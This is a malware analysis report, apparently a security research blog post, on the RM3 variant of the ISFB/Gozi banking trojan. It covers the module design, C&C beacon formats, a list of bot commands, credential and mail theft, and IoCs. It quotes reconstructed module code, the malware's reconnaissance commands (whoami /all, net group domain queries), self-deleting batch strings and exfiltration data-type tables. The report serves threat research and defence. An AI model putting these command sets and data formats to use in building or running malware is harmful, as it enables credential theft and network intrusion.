• A browser module designed to setup hooks and an SSL proxy (used for POST HTTP/HTTPS interception)
• A remote shell (probably designed for initial assessments before starting lateral attacks)
• A fraud arsenal toolkit (hidden VNC, SOCKs proxy, etc…)

RM3 Loader –
Major ISFB update? Or just a refactored code?

The loader is a minimalist plugin that contains only the required functions for doing three main tasks:

• Contacting a loader C&C (which is called host), downloading critical RM3 modules and storing them into the registry (bl.dll, explorer.dll, rt.dll, netwrk.dll)
• Setting up persistence†
• Rebooting everything and making sure it has removed itself†.

These functions are summarised in the following schematic.‡

† In the 3009XX build above, a TA can decide to setup the loader as persistent itself, or remove the payload.

‡ Of course, the loader has more details than could be mentioned here, but the schematic shows the main concepts for a basic understanding.

RM3 Network beacons – Hiding the beast behind simple URIs

C&C beacon requests have been adjusted from the standard ISFB v2 ones, by simplifying the process with just two default URI. These URIs are dynamic fields that can be configured from the loader and client config. This is something that older strains are starting to follow since build 250172.

When it switches to the controller side, RM3 saves HTTPS POST requests performed by the users. These are then used to create fake but legitimate looking paths.

This ingenious trick makes RM3 really hard to catch behind the telemetry generated by the bot. To make short, whenever the user is browsing websites performing those specific requests, the malware is mimicking them by replacing the domain with the controller one.

https://<controler_domain>.tld/index.html                <- default
https://<controler_domain>.tld/search/wp-content/app     <- timer cycle #1
https://<controler_domain>.tld/search/wp-content/app
https://<controler_domain>.tld/search/wp-content/app
https://<controler_domain>.tld/search/wp-content/app
https://<controler_domain>.tld/admin/credentials/home    <- timer cycle #2
https://<controler_domain>.tld/admin/credentials/home
https://<controler_domain>.tld/admin/credentials/home
https://<controler_domain>.tld/admin/credentials/home
https://<controler_domain>.tld/operating/static/template/index.php  <- timer cycle #3
https://<controler_domain>.tld/operating/static/template/index.php
https://<controler_domain>.tld/operating/static/template/index.php
https://<controler_domain>.tld/operating/static/template/index.php

If that wasn’t enough, the usual base64 beacons are now hidden as a data form and send by means of POST requests. When decrypted, these requests reveal this typical network communication.

random=rdm&type=1&soft=3&version=300960&user=17fe7d78280730e52b545792f07d61cb&group=21031&id=00000024&arc=0&crc=44c9058a&size=2&uptime=219&sysid=15ddce20c9691c1ff5103a921e59d7a1&os=10.0_0_0_x64 

The fields can be explained in as follows:

Soft – A curious ISFB Field

ID – A field being updated RM3

Thanks to the source code leak, identifying the data type is not that complicated and can be determined from the field “id”

Бот отправляет на сервер файлы следующего типа и формата (тип данных задаётся параметром type в POST-запросе):
SEND_ID_UNKNOWN	0	- неизвестно, используется только для тестирования	
SEND_ID_FORM	1	- данные HTML-форм. ASCII-заголовок + форма бинарном виде, как есть
SEND_ID_FILE	2	- любой файл, так шлются найденные по маске файлы
SEND_ID_AUTH	3	- данные IE Basic Authentication, ASCII-заголовок + бинарные данные
SEND_ID_CERTS	4	- сертификаты. Файлы PFX упакованые в CAB или ZIP.
SEND_ID_COOKIES	5	- куки и SOL-файлы. Шлются со структурой каталогов. Упакованы в CAB или ZIP
SEND_ID_SYSINFO	6	- информация о системе. UTF8(16)-файл, упакованый в CAB или ZIP
SEND_ID_SCRSHOT	7	- скриншот. GIF-файл.
SEND_ID_LOG	8	- внутренний лог бота. TXT-файл.
SEND_ID_FTP	9	- инфа с грабера FTP. TXT-файл.
SEND_ID_IM	10	- инфа с грабера IM. TXT-файл.
SEND_ID_KEYLOG	11	- лог клавиатуры. TXT-файл.
SEND_ID_PAGE_REP 12	- нотификация о полной подмене страницы TXT-файл.
SEND_ID_GRAB	13	- сграбленый фрагмент контента. ASCII заголовок + контент, как он есть

Over time, they have created more fields:

Module list

Analysis indicates that any RM3 instance would have to include at least the following modules:

Additionally, more configuration files ( .ini ) are used to store all the critical information implemented in RM3. Four different files are currently known:

† CLIENT.INI is never intended to be seen in an RM3 binary, as it is intended to be received by the loader C&C (aka “the host”, based on its field name on configs). This is completely different from older ISFB strains, where the client.ini is stored in the client32.bin/client64.bin. So it means, if the loader c&c is offline, there is no option to get this crucial file

Moving this file is a clever move by the RM3 malware developers and the TAs using it as they have reduced the risk of having researcher bots in their ecosystem.

RM3 dependency madness

With client32.bin (from the more standard ISFB v2 form) technically not present itself but instead implemented as an accumulation of modules injected into a process, RM3 is drastically different from its predecessors. It has totally changed its micro-ecosystem by forcing all of its modules to interact with each other (except bl.dll) and as shown below.

These changes also slow down any in-depth analysis, as they make it way harder to analyse as a standalone module.

RM3 Module 101

Thanks to the startup module launched by start.ps1 in the registry, a hidden shell worker is plugged into explorer.exe (not the explorer.dll module) that initialises a hooking instance for specific WinAPI/COM calls. This allows the banking malware to inject all its components into every child process coming from that Windows process. This strategy permits RM3 to have total control of all user interactions.

(*) PoV = Point of View

Looking at DllMain, the code hasn’t changed that much in the years since the ISFB leak.

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
  BOOL Ret = TRUE;
  WINERROR Status = NO_ERROR;

  Ret = 1;
  if ( ul_reason_for_call ) {
    if ( ul_reason_for_call == 1 && _InterlockedIncrement(&g_AttachCount) == 1 ) {
      Status = ModuleStartup(hModule, lpReserved); // <- Main call 
      if ( Status ) {
        SetLastError(Status);
        Ret = 0;
      }
    }
  }
  else if ( !_InterlockedExchangeAdd(&g_AttachCount, 0xFFFFFFFF) ) {
    ModuleCleanup();
  }
  return Ret;
}

It is only when we get to the ModuleStartup call that things start to become interesting. This code has been refactored and adjusted to the RM3 philosophy:

static WINERROR ModuleStartup(HMODULE hModule) {
    WINERROR Status; 
    RM3_Struct RM3;

    // Need mandatory RM3 Struct Variable, that contains everything
    // By calling an export function from BL.DLL
	RM3 = bl!GetRM3Struct();  

    // Decrypting the .bss section
    // CsDecryptSection is the supposed name based on ISFB leak
	Status = bl!CsDecryptSection(hModule, 0);
  
    if ( (gs_Cookie ^ RM3->dCrc32ExeName) == PROCESSNAMEHASH )
    	Status = Startup() 
	
    return(Status);
}

This adjustment is pretty similar in all modules and can be summarised as three main steps:

• Requesting from bl.dll a critical global structure (called RM3_struct for the purpose of this article) which has the minimal requirements for running the injected code smoothly. The structure itself changes based on which module it is. For example, bl.dll mostly uses it for recreating values that seem to be part of the PEB (hypothesis); explorer.dll uses this structure for storing timeout values and browsers.dll uses it for RM3 injects configurations.
• Decrypting the .bss section.
• Entering into the checking routine by using an ingenious mechanism:
  • The filename of the child process is converted into a JamCRC32 hash and compared with the one stored in the startup function. If it matches, the module starts its worker routine, otherwise it quits.

These are a just a few particular cases, but the philosophy of the RM3 Module startup is well represented here. It is a simple and clever move for monitoring user interactions, because it has control over everything coming from explorer.exe.

bl.dll – The backbone of RM3

The background loader is almost nothing and everything at the same time. It’s the root of the whole RM3 infrastructure when it’s fully installed and configured by the initial loader. Its focus is mainly to initialise RM3_Struct and permits and provides a fundamental RM3 API to all other modules:

Ordinal    | Goal 
==========================================
856b0d0_1  | bl!GetBuild
856b0d0_2  | bl!GetRM3Struct
856b0d0_3  | bl!WaitForSingleObject
856b0d0_4  | bl!GenerateRNG
856b0d0_5  | bl!GenerateGUIDName
856b0d0_6  | bl!XorshiftStar
856b0d0_7  | bl!GenerateFieldName
856b0d0_8  | bl!GenerateCRC32Checksum
856b0d0_9  | bl!WaitForMultipleObjects
856b0d0_10 | bl!HeapAlloc
856b0d0_11 | bl!HeapFree
856b0d0_12 | bl!HeapReAlloc
856b0d0_13 | bl!???
856b0d0_14 | bl!Aplib
856b0d0_15 | bl!ReadSubKey 
856b0d0_16 | bl!WriteSubKey 
856b0d0_17 | bl!CreateProcessA
856b0d0_18 | bl!CreateProcessW
856b0d0_19 | bl!GetRM3MainSubkey
856b0d0_20 | bl!LoadModule
856b0d0_21 | bl!???
856b0d0_22 | bl!OpenProcess 
856b0d0_23 | bl!InjectDLL
856b0d0_24 | bl!ReturnInstructionPointer
856b0d0_25 | bl!GetPRNGValue
856b0d0_26 | bl!CheckRSA
856b0d0_27 | bl!Serpent
856b0d0_28 | bl!SearchConfigFile
856b0d0_29 | bl!???
856b0d0_30 | bl!ResolveFunction01
856b0d0_31 | bl!GetFunctionByIndex
856b0d0_32 | bl!HookFunction
856b0d0_33 | bl!???
856b0d0_34 | bl!ResolveFunction02
856b0d0_35 | bl!???
856b0d0_36 | bl!GetExplorerPID
856b0d0_37 | bl!PsSupSetWow64Redirection
856b0d0_40 | bl!MainRWFile
856b0d0_42 | bl!PipeSendCommand
856b0d0_43 | bl!PipeMainRWFile
856b0d0_44 | bl!WriteFile 
856b0d0_45 | bl!ReadFile
856b0d0_50 | bl!RebootBlModule
856b0d0_51 | bl!LdrFindEntryForAddress
856b0d0_52 | bl!???
856b0d0_55 | bl!SetEAXToZero
856b0d0_56 | bl!LdrRegisterDllNotification
856b0d0_57 | bl!LdrUnegisterDllNotification
856b0d0_59 | bl!FillGuidName
856b0d0_60 | bl!GenerateRandomSubkeyName
856b0d0_61 | bl!InjectDLLToSpecificPID
856b0d0_62 | bl!???
856b0d0_63 | bl!???
856b0d0_65 | bl!???
856b0d0_70 | bl!ReturnOne             
856b0d0_71 | bl!AppAlloc
856b0d0_72 | bl!AppFree
856b0d0_73 | bl!MemAlloc
856b0d0_74 | bl!MemFree
856b0d0_75 | bl!CsDecryptSection  (Decrypt bss, real name from isfb leak source code)
856b0d0_76 | bl!CreateThread
856b0d0_78 | bl!GrabDataFromRegistry
856b0d0_79 | bl!Purge
856b0d0_80 | bl!RSA

explorer.dll – the RM3 mastermind

Explorer.dll could be regarded as the opposite of the background loader. It is designed to manage all interactions of this banking malware, at any level:

• Checking timeout timers that could lead to drastic changes in RM3 operations
• Allowing and executing all tasks that RM3 is able to perform
• Starting fundamental grabbing features
• Download and update modules and configs
• Launch modules
• Modifying RM3 URIs dynamically

In the task manager worker, the workaround looks like the following:

Interestingly, the RM3 developers abuse their own hash system (JAMCRC32) by shuffling hashes into very large amounts of conditions. By doing this, they create an ecosystem that is seemingly unique to each build. Because of this, it feels a major update has been performed on an RM3 module although technically it is just another anti-disassembly trick for greatly slowing down any in-depth analysis. On the other hand, this task manager is a gold mine for understanding how all the interactions between bots and the C&C are performed and how to filter them into multiple categories.

General command

General commands

CRC	Command	Description
0xdf43cd90	CRASH	Generate and send a crash report
0x274323e2	RESTART	Restart RM3
0xce54bcf5	REBOOT	Reboot system

Recording

CRC	Command	Description
0x746ce763	VIDEO	Start desktop recording of the victim machine
0x8de92b0d	SETVIDEO	VIDEO pivot condition
0x54a7c26c	SET_VIDEO	Preparing desktop recording

Updates

CRC	Command	Description
0xb82d4140	UPDATE_ALL	Forcing update for all module
0x4f278846	LOAD_UPDATE	Load & Execute and updated PX module

Tasks

CRC	Command	Description
0xaaa425c4	USETASKKEY	Use task.bin pubkey for decrypting upcoming tasks

Timeout settings

CRC	Command	Description
0x955879a6	SENDTIMEOUT	Timeout timer for receiving commands
0xd7a003c9	CONFIGTIMEOUT	Timeout timer for receiving inject config updates
0x7d30ee46	INITIMEOUT	Timeout timer for receiving INI config update
0x11271c7f	IDLEPERIOD	Timeout timer for bot inactivity
0x584e5925	HOSTSHIFTTIMEOUT	Timeout timer for switching C&C domain list
0x9dd1ccaf	STANDBYTIMEOUT	Timeout timer for switching primary C&C’s to Stand by ones
0x9957591	RUNCHECKTIMEOUT	Timeout timer for checking & run RM3 autorun
0x31277bd5	TASKTIMEOUT	Timeout timer for receiving a task request

Clearing

CRC	Command	Description
0xe3289ecb	CLEARCACHE	CLR_CACHE pivot condition
0xb9781fc7	CLR_CACHE	Clear all browser cache
0xa23fff87	CLR_LOGS	Clear all RM3 logs currently stored
0x213e71be	DEL_CONFIG	Remove requested RM3 inject config

HTTP

CRC	Command	Description
0x754c3c76	LOGHTTP	Intercept & log POST HTTP communication
0x6c451cb6	REMOVECSP	Remove CSP headers from HTTP
0x97da04de	MAXPOSTLENGTH	Clear all RM3 logs currently stored

Process execution

CRC	Command	Description
0x73d425ff	NEWPROCESS	Initialising RM3 routine

Backup

CRC	Command	Description
0x5e822676	STANDBY	Case condition if primary servers are not responding for X minutes

Data gathering

CRC	Command	Description
0x864b1e44	GET_CREDS	Collect credentials
0xdf794b64	GET_FILES	Collect files (grabber module)
0x2a77637a	GET_SYSINFO	Collect system information data

Main tasks

CRC	Command	Description
0x3889242	LOAD_CONFIG	Download and Load a requested config with specific arguments
0xdf794b64	GET_FILES	Download a DLL from a specific URL and load it into explorer.exe
0xae30e778	LOAD_EXE	Download an executable from a specific URL and load it
0xb204e7e0	LOAD_INI	Download and load an INI file from a specific URL
0xea0f4d48	LOAD_CMD	Load and Execute Shell module
0x6d1ef2c6	LOAD_FTP	Load and Execute FTP module with specific arguments
0x336845f8	LOAD_KEYLOG	Load and Execute keylog module with specific arguments
0xdb269b16	LOAD_MODULE	Load and Execute RM3 PX Module with specific arguments
0x1e84cd23	LOAD_SOCKS	Load and Execute socks module with specific arguments
0x45abeab3	LOAD_VNC	Load and Execute VNC module with specific arguments

Shell command

CRC	Command	Description
0xb88d3fdf	RUN_CMD	Execute specific command and send the output to the C&C

URI setup

CRC	Command	Description
0x9c3c1432	SET_URI	Change the URI path of the request

File storage

CRC	Command	Description
0xd8829500	STORE_GRAB	Save grabber content into temporary file
0x250de123	STORE_KEYLOG	Save keylog content into temporary file
0x863ecf42	STORE_MAIL	Save stolen mail credentials into temporary file
0x9b587bc4	STORE_HTTPLOG	Save stolen http interceptions into temporary file
0x36e4e464	STORE_ACC	Save stolen credentials into temporary file

Timeout system

With its timeout values stored into its rm3_struct, explorer.dll is able to manage every possible worker task launched and monitor them. Then, whenever one of the timers reaches the specified value, it can modify the behaviour of the malware (in most cases, avoiding unnecessary requests that could create noise and so increase the chances of detection).

Backup controllers

In the same way, explorer.dll also provides additional controllers which are called ‘stand by’ domains. The idea behind this is that, when principal controller C&Cs don’t respond, a module can automatically switch to this preset list. Those new domains are stored in explorer.ini.

{
    "STANDBY": "standbydns1.tld","standbydns2.tld"  
    "STANDBYTIMEOUT": "60"                   // Timeout in minutes
}

In the example above, if the primary domain C&Cs did not respond after one hour, the request would automatically switch to the standby C&Cs.

Desktop recording and RM3 – An ingenious way to check bots

Rarely mentioned in the wild but actively used by TAs, RM3 is also able to record bot interactions. The video setup is stored in the client.ini file, which the bot receives from the controller domain.

"SETVIDEO": [
        "30,",     // 30 seconds
        "8,",      // 8 Level quality (min:1 - max:10)
        "notipda"  // Process name list    
],

Behind “SETVIDEO”, only 3 values are required to setup video recording:

After being initialised, the task waits its turn to be launched. It can be triggered to work in multiple ways:

• Detecting the use of specific keywords in a Windows process
• Using RM3’s increased debugging telemetry to detect if something is crashing, either in the banking malware itself or in a deployed injects (although the ability to detect crashes in an inject is only hypothetical and has not been observed)
• Recording user interactions with a bank account; the ability to record video is a relatively new but killer move on the part of the malware developers allowing them to check legitimate bots and get injects

The ability to record video depends only on “@VIDEO=” being cached by the browser module. It is not primarily seen at first glance when examining the config, but likely inside external injects parts.

@ ISFB Code leak
Вкладка Video - запись видео с экрана

Opcode = "VIDEO"
Url - задает шаблон URL страницы, для которой необходмо сделать запись видео с экрана
Target - (опционально) задает ключевое слово, при наличии которого в коде страницы будет сделана запись
Var - задаёт длительность записи в секундах

RM3 and its remote shell module – a trump card for ransomware gangs

Banking malware having its own remote shell module changes the potential impact of infecting a corporate network drastically. This shell is completely custom to the malware and is specially designed. It is also significantly less detectable than other tools currently seen for starting lateral movement attacks due to its rarity. The combination of potentially much greater impact and lower detectability make this piece of code a trump card, particularly as they now look to migrate to a ransomware model.

Called cmdshell, this module isn’t exclusive to RM3 but has in fact, been part of ISFB since at least build v2.15. It has likely been of interest for TA groups in fields less focused on fraud since then. The inclusion of a remote shell obviously greatly increases the flexibility this malware family provides to its operators; but also, of course, makes it harder to ascertain the exact purpose of any one infection, or the motivation of its operators.

After being executed by the task command “LOAD_CMD”, the injected module installs a persistent remote shell which a TA can use to perform any kind of command they want.

As noted above, the inclusion of a shell gives great flexibility, but can certainly facilitate the work of at least two types of TA:

• Fraudsters (if the VNC/SOCKS module isn’t working well, perhaps)
• Malicious Red teams affiliated with ransomware gangs

It’s worth noting that this remote shell should not be confused with the RUN_CMD command. The RUN_CMD is used to instruct a bot to execute a simple command with the output saved and sent to the Controllers. It is also present as a simple condition:

Then following a standard I/O interaction:

But both RM3’s remote shell and the RUN_CMD can be an entry point for pushing other specialised tools like Cobalt Strike, Mimikatz or just simple PowerShell scripts. With this kind of flexibility, the main limitation on the impact of this malware is any given TA’s level of skill and their imagination.

Task.key – a new weapon in RM3’s encryption paranoia

Implemented sometime around Q2 2020, RM3 decided to add an additional layer of protection in its network communications by updating the RSA public key used to encrypt communications between bot and controller domains.

They designed a pivot condition (USETASKKEY) that decides which RSA.KEY and TASK.KEY will be used for decrypting the content from the C&C depending of the command/content received. We believed this choice has been developed for breaking researcher for emulating RM3 traffic.

RM3 – A banking malware designed to debug itself

As we’ve already noted, RM3 represents a significant step change from previous versions of ISFB. These changes extend from major architecture changes down to detailed functional changes and so can be expected to have involved considerable development and probably testing effort, as well. Whether or not the malware developers found the troubleshooting for the RM3 variant more difficult than previously, they also took the opportunity to include a troubleshooting feature. If RM3 experiences any issues, it is designed to dump the relevant process and send a report to the C&C. It’s expected that this would then be reported to the malware developers and so may explain why we now see new builds appearing in the wild rather faster than we have previously.

The task is initialised at the beginning of the explorer module startup with a simple workaround:

• Address of the MiniDumpWritDump function from dbghelp.dll is stored
• The path of the temporary dump file is stored in C://tmp/rm3.dmp
• All these values are stored into a designed function and saved into the RM3 master struct

With everything now configured, RM3 is ready for two possible scenarios:

• Voluntarily crashing itself with the command ‘CRASH’
• Something goes wrong and so a specific classic error code triggers the function

Stolen Data – The (old) gold mine

Gathering interesting bots is a skill that most banking malware TAs have decent experience with after years of fraud. And nowadays, with the ransomware market exploding, this expertise probably also permits them to affiliate more easily with ransom crews (or even to have exclusivity in some cases).

In general, ISFB (v2 and v3) is a perfect playground as it can be used as a loader with more advanced telemetry than classic info-stealers. For example, Vidar, Taurus or Raccoon Stealer can’t compete at this level. This is because the way they are designed to work as a one-shot process (and be removed from the machine immediately afterwards) makes them much less competitive than the more advanced and flexible ISFB. Of course, in any given situation, this does not necessarily mean they are less important than banking malware. And we should keep in mind the fact that the Revil gang bought the source code for the Kpot stealer and it is likely this was so they could develop their own loader/stealer.

RM3 can be split into three main parts in terms of the grabber:

• Files/folders
• Browser credential harvesting
• Mail

It’s worth noting that the mail module is an underrated feature that can provide a huge amount of information to a TA:

• Many users store nearly everything in their email (including passwords and sensitive documents)
• Mails can be stolen and resold to spammers for crafting legitimate mails with malicious attachments/links

Stealing/intercepting HTTP and HTTPS communication

RM3 implements an SSL Proxy and so is really effective at intercepting POST requests performed by the user. All of them are stored and sent every X minutes to the controllers.

Whenever the user visits a website, part of the inject config will automatically replace strings or variables in the code (‘base’) with the new content (‘new_var’); this often includes a URL path from an inject C&C.

As if that wasn’t complicated enough, most of them are geofencedand it could be possible they manually allow the bot to get them (especially with the elite one). Indeed, this is another trick for avoiding analysts and researchers to get and report those scripts  that cost millions to financial companies.

A parser then modifies the variable ‘@ID@ and ‘@GROUP@’ to the correct values as stored in RM3_Struct and other structures relevant to the browsers.dll module.

System information gathering

Gathering system information is simple with RM3:

• Manually (using a specific RUN_CMD command)
• Requesting info from a bot with GET_SYSINFO

Indeed, GET_SYSINFO is known and regularly used by ISFB actors (both active strains)

systeminfo.exe
driverquery.exe
net view
nslookup 127.0.0.1
whoami /all
net localgroup administrators
net group "domain computers" /domain

TAs in general are spending a lot of time (or are literally paying people) to inspect bots for the stolen data they have gathered. In this regard, bots can be split into one of the following groups:

• Home bots (personal accounts)
• Researcher bots
• Corporate bots (compromised host from a company)

Over the past 6 months, ISFB v2 has been seen to be extremely active in term of updates. One purpose of these updates has been to help TAs filter their bots from the loader side directly and more easily. This filtering is not a new thing at all, but it is probably of more interest (and could have a greater impact) for malicious operations these days. 

Microsoft Edge (Chromium) joining the targeted browser list

One critical aspect of any banking malware is the ability to hook into a browser so as to inject fakes and replacers in financial institution websites.

At the same time as the Task.key implementation, RM3 decided to implement a new browser in its targeted list: “MsEdge”. This was not random, but was a development choice driven by the sheer number of corporate computers migrating from Internet Explorer to Edge.

This means that 5 browsers are currently targeted:

• Internet Explorer
• Microsoft Edge (Original)
• Microsoft Edge (Chromium)
• Mozilla Firefox
• Google Chrome

Currently, RM3 doesn’t seem to interact with Opera. Given Opera’s low user share and almost non-existent corporate presence, it is not expected that the development of a new module/feature for Opera would have an ROI that was sufficiently attractive to the TAs and RM3 developers. Any development and debugging would be time consuming and could delay useful updates to existing modules already producing a reliable return.

RM3 and its homemade forked SQLITE module

A lot of this blogpost has been dedicated to discussing the innovative design and features in RM3. But perhaps the best example of the attention to detail displayed in the design and development of this malware is the custom SQLITE3 module that is included with RM3. Presumably driven by the need to extract credentials data from browsers (and related tasks), they have forked the original SQLite3 source code and refactored it to work in RM3.

Using SQLite is not a new thing, of course, as it was already noted in the ISFB leak.

Interestingly, the RM3 build is based on the original 3.8.6 build and has all the features and functions of the original version.

Because the background loader (bl.dll) is the only module within RM3 technically capable of performing allocation operations, they have simply integrated “free”, “malloc”, and “realloc” API calls with this backbone module.

What’s new with Build 300960?

Goodbye Serpent, Hello AES!

Around mid-march, RM3 pushed a major update by replacing the Serpent encryption with the good old AES 128 CBC. All locations where Serpent encryption was used, have been totally reworked so as to work with AES.

RM3 C&C response also reviewed

Before build 300960, RM3 treated data received from controllers as described below. Information was split into two encrypted parts (a header and a body) which are treated differently:

1. The encrypted head was decrypted with the public RSA key extracted from modules, to extract a Serpent key
2. This Serpent key was then used to decrypt the encrypted data in the body (this is a different key from client.ini and loader.ini).

This was the setup before build 300960:

Now, in the recently released 300960 build, with Serpent removed and AES implemented instead, the structure of the encrypted header has changed as indicated below:

The decrypted body data produced by this process is not in an entirely standard format. In fact, it’s compressed with the APlib library. But removing the first 0x14 bytes (or sometimes 0x4 bytes) and decompressing it, ensures that the final block is ready for analysis.

• If it’s a DLL, it will be recognised with the PX format
• If it’s web injects, it’s an archive that contains .sig files (that is, MAIN.SIG†)
• If it’s tasks or config updates, these are in a classic raw ISFB config format

† SIG can probably be taken to mean ‘signature’

Changes in .ini files

Two fields have been added in the latest campaigns. Interestingly, these are not new RM3 features but old ones that have been present for quite some time.

{
    "SENDFGKEY": "0",    // Send Foreground Key
    "SUBDOMAINS": "0",   
}

Appendix

IoCs – Campaign

00cd7319a42bbabd0c81a7e9817d2d5071738d5ac36b98b8ff9d7383c3d7e1ba - DE
a7007821b1acbf36ca18cb2ec7d36f388953fe8985589f170be5117548a55c57 - Italy
5ee51dfd1eb41cb6ce8451424540c817dbd804f103229f3ae1b645b320cbb4e8 - Australia/NZ 1
c7552fe5ed044011aa09aebd5769b2b9f3df0faa8adaab42ef3bfff35f5190aa - Australia/NZ 2
261c6f7b7e9d8fc808a4a9db587294202872b2a816b2b98516551949165486c8 - UK 1
2e0b219c5ac3285a08e126f11c07ea3ac60bc96d16d37c2dc24dd8f68c492a74 - UK 2
6818b6b32cb91754fd625e9416e1bc83caac1927148daaa3edaed51a9d04e864 - Worldwide ?

86b670d81a26ea394f7c0edebdc93e8f9bd6ce6e0a8d650e32a0fe36c93f0dee - GoziAT/ISFB RM2

IoCs – Modules

b15c3b93f8de40b745eb1c1df5dcdee3371ba08a1a124c7f20897f87f23bcd55  loader.exe (Build 300932)
ce4fc5dcab919ea40e7915646a3ce345a39a3f81c33758f1ba9c1eae577a5c35  loader.dll (Build 300932)

ba0e9cb3bf25516e2c1f0288e988bd7bd538d275373d36cee28c34dafa7bbd1f  explorer.dll (Build 300932)
accb76e6190358760044d4708e214e546f87b1e644f7e411ba1a67900bcd32a1  bl.dll (Build 300932)
f90ed3d7c437673c3cfa3db8e6fbb3370584914def2c0c2ce1f11f90f199fb4f  ntwrk.dll (Build 300932)
38c9aff9736eae6db5b0d9456ad13d1632b134d654c037fba43086b5816acd58  rt.dll (Build 300932)

2c7cdcf0f9c2930096a561ac6f9c353388a06c339f27f70696d0006687acad5b  browser.dll (Build 300932)
34517a7c78dd66326d0d8fbb2d1524592bbbedb8ed6b595281f7bb3d6a39bc0a  chrome.dll (Build 300932)
59670730341477b0a254ddbfc10df6f1fcd3471a08c0d8ec20e1aa0c560ddee4  firefox.dll (Build 300932)
d927f8793f537b94c6d2299f86fe36e3f751c94edca5cd3ddcdbd65d9143b2b6  iexplorer.dll (Build 300932)
199caec535d640c400d3c6b35806c74912b832ff78cb31fd90fe4712ed194b09  microsoftedgecp.dll (Build 300932)
13635b2582a11e658ab0b959611590005b81178365c12062e77274db1d0b4f0c  msedge.dll (Build 300932)

65a1923e037bce4816ac2654c242921f3e3592e972495945849f155ca69c05e5  loader.dll (Build 300960)

d1f5ef94e14488bf909057e4a0d081ff18dd0ac86f53c42f53b12ea25cdcfe76  cmdshell.dll (Build 300869)
820faca1f9e6e291240e97e5768030e1574b60862d5fce7f6ba519aaa3dbe880  vnc.dll (Build 300869)

Shellcode – startup module – bss decrypted

Windows Security
NTDLL.DLL
RtlExitUserProcess
KERNEL32.DLL
bl.dll - bss decrypted
Microsoft Windows
KERNEL32.DLL
ADVAPI32.DLL
NTDLL.DLL
KERNELBASE
USER32
LdrUnregisterDllNotification
ResolveDelayLoadsFromDll
Software
Wow64EnableWow64FsRedirection
\REGISTRY\USER\%s\%s\
{%08X-%04X-%04X-%04X-%08X%04X}
SetThreadInformation
GetWindowThreadProcessId
%08X-%04X-%04X-%04X-%08X%04X
RtlExitUserThread
S-%u-%u
-%u
Local\
\\.\pipe\
%05u
LdrRegisterDllNotification
NtClose
ZwProtectVirtualMemory
LdrGetProcedureAddress
WaitNamedPipeW
CallNamedPipeW
LdrLoadDll
NtCreateUserProcess
.dll
%08x
GetShellWindow
\KnownDlls\ntdll.dll
%systemroot%\system32\c_1252.NLS
\??\
\\?\

explorer.dll – bss decrypted

indows Security
.jpeg
Main
.gif
.bmp
%APPDATA%\Microsoft\
tasklist.exe /SVC
\Microsoft\Windows\
cmd /C "%s" >> %S0
systeminfo.exe
driverquery.exe
net view
nslookup 127.0.0.1
whoami /all
net localgroup administrators
net group "domain computers" /domain
reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
cmd /U /C "type %S0 > %S & del %S0"
echo -------- %u
KERNELBASE
.exe
RegGetValueW
0x%S
.DLL
DllRegisterServer
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Serialize
0x%X,%c%c
Startupdelayinmsec
ICGetInfo
SOFTWARE\Classes\Chrome
DelegateExecute
\\?\
%userprofile%\appdata\local\google\chrome\user data\default\cache
\Software\Microsoft\Windows\CurrentVersion\Run
http\shell\open\command
ICSendMessage
%08x
 | "%s" | %u
msvfw32
ICOpen
ICClose
ICInfo
main
%userprofile%\AppData\Local\Mozilla\Firefox\Profiles
.avi
https://
Video: sec=%u, fps=%u, q=%u
Local\
%userprofile%\appdata\local\microsoft\edge\user data\default\cache
MiniDumpWriteDump
cache2\entries\*.*
%PROGRAMFILES%\Mozilla Firefox
%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*
Software\Classes\CLSID\%s\InProcServer32
open
http://
file://
DBGHELP.DLL
%temp%\rm3.dmp
%u, 0x%x, "%S"
"%S", 0x%p, 0x%x
%APPDATA%
SOFTWARE\Microsoft\Windows NT\CurrentVersion
InstallDate

rt.dll – bss decrypted

Windows Security
%s%02u:%02u:%02u 
:%u
attrib -h -r -s %%1
del %%1
if exist %%1 goto %u
del %%0
Low\
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
*.*
.bin
open
%02u-%02u-%02u %02u:%02u:%02u
*.dll
%systemroot%\system32\c_1252.NLS
rundll32 "%s",%S %s
"%s"
cmd /C regsvr32 "%s"
Mb=Lk
Author
n;
QkkXa
M<q

netwrk.dll – bss decrypted

&WP
POST
Host
%04x%04x
GET
Windows Security
Content-Type: multipart/form-data; boundary=%s
Content-Type: application/octet-stream
--%s
--%s--
%c%02X
https://
http://
%08x%08x%08x%08x
form
%s=%s&
/images/
.bmp
file://
type=%u&soft=%u&version=%u&user=%08x%08x%08x%08x&group=%u&id=%08x&arc=%u&crc=%08x&size=%u&uptime=%u
index.html
Content-Disposition: form-data; name="%s"
; filename="%s"
&os=%u.%u_%u_%u_x%u
&ip=%s
Mozilla/5.0 (Windows NT %u.%u%s; Trident/7.0; rv:11.0) like Gecko
; Win64; x64
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
%08x
|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
F%D,3
overridelink
invalidcert
9*.onion
&sysid=%08x%08x%08x%08x

browser.dll – bss decrypted

%c%02X
.php
Windows Security
1.3.6.1.5.5.7.3.2
1.3.6.1.5.5.7.3.1
2.5.29.15
2.5.29.37
2.5.29.1
2.5.29.35
2.5.29.14
2.5.29.10
2.5.29.19
1.3.6.1.5.5.7.1.1
2.5.29.32
1.3.6.1.5.5.7.1.11
1.3.6.1.5.5.7
1.3.6.1.5.5.7.1
2.5.29.31
1.2.840.113549.1.1.11
1.2.840.113549.1.1.5
WS2_32.dll
iexplore.hlp
ConnectEx
Local\
WSOCK32.DLL
WININET.DLL
CRYPT32.DLL
socket
connect
closesocket
getpeername
WSAStartup
WSACleanup
WSAIoctl
User-Agent
Content-Type
Content-Length
Connection
Content-Security-Policy
Content-Security-Policy-Report-Only
X-Frame-Options
Access-Control-Allow-Origin
chunked
WebSocket
Transfer-Encoding
Content-Encoding
Accept-Encoding
Accept-Language
Cookie
identity
gzip, deflate
